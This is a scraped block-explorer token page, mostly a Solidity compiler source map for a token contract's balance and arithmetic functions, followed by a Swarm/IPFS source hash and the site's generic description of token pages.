11301:4;11283:24;;;;:9;:24;;;;;;:30;;11310:3;;11283:30;:::i;:::-;11274:4;11256:24;;;;:9;:24;;;;;;;:57;;;;11337:34;;-1:-1:-1;;;;;11337:34:0;;;;;;;11367:3;1500:25:1;;1488:2;1473:18;;1354:177;11337:34:0;;;;;;;;11224:163;-1:-1:-1;;;;;11438:15:0;;;;;;:9;:15;;;;;;:29;;11456:11;;11438:29;:::i;:::-;-1:-1:-1;;;;;11420:15:0;;;;;;:9;:15;;;;;:47;11510:16;:7;11522:3;11510:11;:16::i;:::-;-1:-1:-1;;;;;11494:13:0;;;;;;:9;:13;;;;;;:32;;;;:::i;:::-;-1:-1:-1;;;;;11478:13:0;;;;;;;:9;:13;;;;;:48;;;;11542:36;;;11561:16;:7;11573:3;11561:11;:16::i;:::-;11542:36;;1500:25:1;;;1488:2;1473:18;11542:36:0;;;;;;;10514:1072;;10438:1148;;;:::o;1810:246::-;1868:7;1892:1;1897;1892:6;1888:47;;-1:-1:-1;1922:1:0;1915:8;;1888:47;1945:9;1957:5;1961:1;1957;:5;:::i;:::-;1945:17;-1:-1:-1;1990:1:0;1981:5;1985:1;1945:17;1981:5;:::i;:::-;:10;1973:56;;;;-1:-1:-1;;;1973:56:0;;13422:2:1;1973:56:0;;;13404:21:1;13461:2;13441:18;;;13434:30;13500:34;13480:18;;;13473:62;-1:-1:-1;;;13551:18:1;;;13544:31;13592:19;;1973:56:0;13220:397:1;2064:132:0;2122:7;2149:39;2153:1;2156;2149:39;;;;;;;;;;;;;;;;;:3;:39::i;11718:127::-;11776:7;11835:2;11817:11;:7;11827:1;11817:11;:::i;:::-;11803:25;;:11;:25;:::i;:::-;:30;;11831:2;11803:30;:::i;:::-;:34;;;;:::i;1434:136::-;1492:7;1519:43;1523:1;1526;1519:43;;;;;;;;;;;;;;;;;:3;:43::i;2204:223::-;2324:7;2359:12;2352:5;2344:28;;;;-1:-1:-1;;;2344:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2383:9:0;2395:5;2399:1;2395;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:134::-;771:20;;800:31;771:20;800:31;:::i;:::-;703:134;;;:::o;842:315::-;910:6;918;971:2;959:9;950:7;946:23;942:32;939:52;;;987:1;984;977:12;939:52;1026:9;1013:23;1045:31;1070:5;1045:31;:::i;:::-;1095:5;1147:2;1132:18;;;;1119:32;;-1:-1:-1;;;842:315:1:o;1536:456::-;1613:6;1621;1629;1682:2;1670:9;1661:7;1657:23;1653:32;1650:52;;;1698:1;1695;1688:12;1650:52;1737:9;1724:23;1756:31;1781:5;1756:31;:::i;:::-;1806:5;-1:-1:-1;1863:2:1;1848:18;;1835:32;1876:33;1835:32;1876:33;:::i;:::-;1536:456;;1928:7;;-1:-1:-1;;;1982:2:1;1967:18;;;;1954:32;;1536:456::o;2186:127::-;2247:10;2242:3;2238:20;2235:1;2228:31;2278:4;2275:1;2268:15;2302:4;2299:1;2292:15;2318:1121;2402:6;2433:2;2476;2464:9;2455:7;2451:23;2447:32;2444:52;;;2492:1;2489;2482:12;2444:52;2532:9;2519:23;2561:18;2602:2;2594:6;2591:14;2588:34;;;2618:1;2615;2608:12;2588:34;2656:6;2645:9;2641:22;2631:32;;2701:7;2694:4;2690:2;2686:13;2682:27;2672:55;;2723:1;2720;2713:12;2672:55;2759:2;2746:16;2781:2;2777;2774:10;2771:36;;;2787:18;;:::i;:::-;2833:2;2830:1;2826:10;2865:2;2859:9;2928:2;2924:7;2919:2;2915;2911:11;2907:25;2899:6;2895:38;2983:6;2971:10;2968:22;2963:2;2951:10;2948:18;2945:46;2942:72;;;2994:18;;:::i;:::-;3030:2;3023:22;3080:18;;;3114:15;;;;-1:-1:-1;3156:11:1;;;3152:20;;;3184:19;;;3181:39;;;3216:1;3213;3206:12;3181:39;3240:11;;;;3260:148;3276:6;3271:3;3268:15;3260:148;;;3342:23;3361:3;3342:23;:::i;:::-;3330:36;;3293:12;;;;3386;;;;3260:148;;;3427:6;2318:1121;-1:-1:-1;;;;;;;;2318:1121:1:o;3444:247::-;3503:6;3556:2;3544:9;3535:7;3531:23;3527:32;3524:52;;;3572:1;3569;3562:12;3524:52;3611:9;3598:23;3630:31;3655:5;3630:31;:::i;3904:388::-;3972:6;3980;4033:2;4021:9;4012:7;4008:23;4004:32;4001:52;;;4049:1;4046;4039:12;4001:52;4088:9;4075:23;4107:31;4132:5;4107:31;:::i;:::-;4157:5;-1:-1:-1;4214:2:1;4199:18;;4186:32;4227:33;4186:32;4227:33;:::i;:::-;4279:7;4269:17;;;3904:388;;;;;:::o;4297:127::-;4358:10;4353:3;4349:20;4346:1;4339:31;4389:4;4386:1;4379:15;4413:4;4410:1;4403:15;4429:416;4518:1;4555:5;4518:1;4569:270;4590:7;4580:8;4577:21;4569:270;;;4649:4;4645:1;4641:6;4637:17;4631:4;4628:27;4625:53;;;4658:18;;:::i;:::-;4708:7;4698:8;4694:22;4691:55;;;4728:16;;;;4691:55;4807:22;;;;4767:15;;;;4569:270;;;4573:3;4429:416;;;;;:::o;4850:806::-;4899:5;4929:8;4919:80;;-1:-1:-1;4970:1:1;4984:5;;4919:80;5018:4;5008:76;;-1:-1:-1;5055:1:1;5069:5;;5008:76;5100:4;5118:1;5113:59;;;;5186:1;5181:130;;;;5093:218;;5113:59;5143:1;5134:10;;5157:5;;;5181:130;5218:3;5208:8;5205:17;5202:43;;;5225:18;;:::i;:::-;-1:-1:-1;;5281:1:1;5267:16;;5296:5;;5093:218;;5395:2;5385:8;5382:16;5376:3;5370:4;5367:13;5363:36;5357:2;5347:8;5344:16;5339:2;5333:4;5330:12;5326:35;5323:77;5320:159;;;-1:-1:-1;5432:19:1;;;5464:5;;5320:159;5511:34;5536:8;5530:4;5511:34;:::i;:::-;5581:6;5577:1;5573:6;5569:19;5560:7;5557:32;5554:58;;;5592:18;;:::i;:::-;5630:20;;4850:806;-1:-1:-1;;;4850:806:1:o;5661:140::-;5719:5;5748:47;5789:4;5779:8;5775:19;5769:4;5748:47;:::i;5806:168::-;5879:9;;;5910;;5927:15;;;5921:22;;5907:37;5897:71;;5948:18;;:::i;5979:356::-;6181:2;6163:21;;;6200:18;;;6193:30;6259:34;6254:2;6239:18;;6232:62;6326:2;6311:18;;5979:356::o;6340:127::-;6401:10;6396:3;6392:20;6389:1;6382:31;6432:4;6429:1;6422:15;6456:4;6453:1;6446:15;6472:251;6542:6;6595:2;6583:9;6574:7;6570:23;6566:32;6563:52;;;6611:1;6608;6601:12;6563:52;6643:9;6637:16;6662:31;6687:5;6662:31;:::i;8001:306::-;8089:6;8097;8105;8158:2;8146:9;8137:7;8133:23;8129:32;8126:52;;;8174:1;8171;8164:12;8126:52;8203:9;8197:16;8187:26;;8253:2;8242:9;8238:18;8232:25;8222:35;;8297:2;8286:9;8282:18;8276:25;8266:35;;8001:306;;;;;:::o;8591:277::-;8658:6;8711:2;8699:9;8690:7;8686:23;8682:32;8679:52;;;8727:1;8724;8717:12;8679:52;8759:9;8753:16;8812:5;8805:13;8798:21;8791:5;8788:32;8778:60;;8834:1;8831;8824:12;10901:128;10968:9;;;10989:11;;;10986:37;;;11003:18;;:::i;11034:125::-;11099:9;;;11120:10;;;11117:36;;;11133:18;;:::i;11873:135::-;11912:3;11933:17;;;11930:43;;11953:18;;:::i;:::-;-1:-1:-1;12000:1:1;11989:13;;11873:135::o;12013:980::-;12275:4;12323:3;12312:9;12308:19;12354:6;12343:9;12336:25;12380:2;12418:6;12413:2;12402:9;12398:18;12391:34;12461:3;12456:2;12445:9;12441:18;12434:31;12485:6;12520;12514:13;12551:6;12543;12536:22;12589:3;12578:9;12574:19;12567:26;;12628:2;12620:6;12616:15;12602:29;;12649:1;12659:195;12673:6;12670:1;12667:13;12659:195;;;12738:13;;-1:-1:-1;;;;;12734:39:1;12722:52;;12829:15;;;;12794:12;;;;12770:1;12688:9;12659:195;;;-1:-1:-1;;;;;;;12910:32:1;;;;12905:2;12890:18;;12883:60;-1:-1:-1;;;12974:3:1;12959:19;12952:35;12871:3;12013:980;-1:-1:-1;;;12013:980:1:o;12998:217::-;13038:1;13064;13054:132;;13108:10;13103:3;13099:20;13096:1;13089:31;13143:4;13140:1;13133:15;13171:4;13168:1;13161:15;13054:132;-1:-1:-1;13200:9:1;;12998:217::o
Swarm Source
ipfs://ee39736a42c163c499e6dd4cf265f93246756d8337cc8bb35f09d168424b5eeb
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.